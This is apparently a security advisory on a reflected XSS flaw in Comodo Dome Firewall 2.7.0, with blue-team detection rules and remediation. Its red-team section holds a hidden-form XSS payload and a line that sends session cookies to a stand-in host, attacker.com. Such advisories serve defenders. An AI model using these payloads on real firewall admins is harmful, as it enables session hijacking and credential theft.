CVE-2019-25424

Executive Summary

CVE-2019-25424 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The flaw exists in the https_exceptions endpoint, where the EXCEPTIONSITELIST parameter is not sanitized before being reflected back to the user. An attacker can craft a POST request containing malicious JavaScript, which, when submitted, executes in the victim's browser within the context of the firewall's management interface. This allows session hijacking, credential theft, or further attacks against the internal network. No patch has been released by the vendor, and the vulnerability remains unpatched.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Adjusted: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link or submit a form)
• Scope: Changed (impact on other components)
• Confidentiality: Low (session data theft)
• Integrity: Low (script injection)
• Availability: None

Threat Level: Medium. The vulnerability requires user interaction but can lead to full compromise of the firewall management session.

Deep Dive & Mechanics

The Comodo Dome Firewall's web management interface includes an https_exceptions endpoint used to manage HTTPS inspection exceptions. The EXCEPTIONSITELIST parameter is intended to accept domain names or URLs. However, the application does not validate or encode the input before reflecting it in the HTTP response.

Attack Flow:

1. An attacker crafts a malicious URL or POST form containing a payload in the EXCEPTIONSITELIST parameter.
2. The victim (an administrator) is tricked into clicking the link or submitting the form while authenticated to the firewall.
3. The firewall reflects the payload in the response page without sanitization.
4. The victim's browser executes the injected JavaScript.
5. The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Root Cause: Lack of output encoding on user-supplied input in the https_exceptions endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: directly echoes user input
$siteList = $_POST['EXCEPTIONSITELIST'];
echo "<input type='text' name='site' value='$siteList'>";

Patched Code (Conceptual):

// Patched: encode output
$siteList = htmlspecialchars($_POST['EXCEPTIONSITELIST'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='site' value='$siteList'>";

No official patch has been released by Comodo. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Comodo Dome Firewall 2.7.0 (virtual appliance)
• Attacker machine with Burp Suite or curl
• Victim browser (Firefox with developer tools)

Exploit Payload:

<form action="https://target-firewall/https_exceptions" method="POST">
  <input type="hidden" name="EXCEPTIONSITELIST" value="<script>alert('XSS')</script>">
  <input type="submit" value="Click me">
</form>

Step-by-Step:

1. Host the above HTML on an attacker-controlled server.
2. Send the link to the victim (admin) via email or social engineering.
3. Victim submits the form while logged into the firewall.
4. The script executes, displaying an alert box (or stealing cookies).

Cookie Stealing Payload:

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP POST requests to /https_exceptions with suspicious EXCEPTIONSITELIST values.
• Look for <script>, onerror, onload, or other event handlers in the parameter.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Apply input validation: allow only domain names (alphanumeric, dots, hyphens).
• Implement output encoding (HTML entity encoding) on all reflected parameters.
• Use Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /https_exceptions with EXCEPTIONSITELIST containing <script> tags.
  • Outbound connections to attacker-controlled domains from the firewall's management interface.
• Logs:
  • Firewall access logs showing unusual EXCEPTIONSITELIST values.
  • Browser console errors related to CSP violations.
• File:
  • No file-based IOCs (reflected XSS).

Detection Engineering

YARA Rule

rule CVE_2019_25424_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Comodo Dome Firewall EXCEPTIONSITELIST parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25424"
    strings:
        $xss_payload = /EXCEPTIONSITELIST=.*<script[^>]*>.*<\/script>/i
        $xss_event = /EXCEPTIONSITELIST=.*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Comodo Dome Firewall
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /https_exceptions with suspicious EXCEPTIONSITELIST parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/https_exceptions'
        cs-uri-query|contains: 'EXCEPTIONSITELIST='
    filter:
        cs-uri-query|re: 'EXCEPTIONSITELIST=[a-zA-Z0-9.-]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate domain names with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25424 Reflected XSS in Comodo Dome Firewall"; flow:to_server; http.method; content:"POST"; http.uri; content:"/https_exceptions"; http.client_body; content:"EXCEPTIONSITELIST"; pcre:"/EXCEPTIONSITELIST=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the firewall management interface from untrusted networks (e.g., place it on a dedicated management VLAN).
2. Disable the https_exceptions endpoint if not required, or restrict access via firewall rules.
3. Implement a Web Application Firewall (WAF) with rules to block XSS patterns in POST parameters.

Long-Term Fix:

• Since no vendor patch exists, consider upgrading to a supported firewall solution.
• If upgrading is not possible, apply a reverse proxy (e.g., Nginx) in front of the management interface to sanitize input:

  location /https_exceptions {
      if ($request_body ~* "<script") {
          return 403;
      }
      proxy_pass http://backend;
  }
  

User Awareness:

• Train administrators to avoid clicking suspicious links while logged into the firewall.
• Use browser extensions that block XSS (e.g., NoScript).

Valters IT
DevSecOps & Cyber Threat Intelligence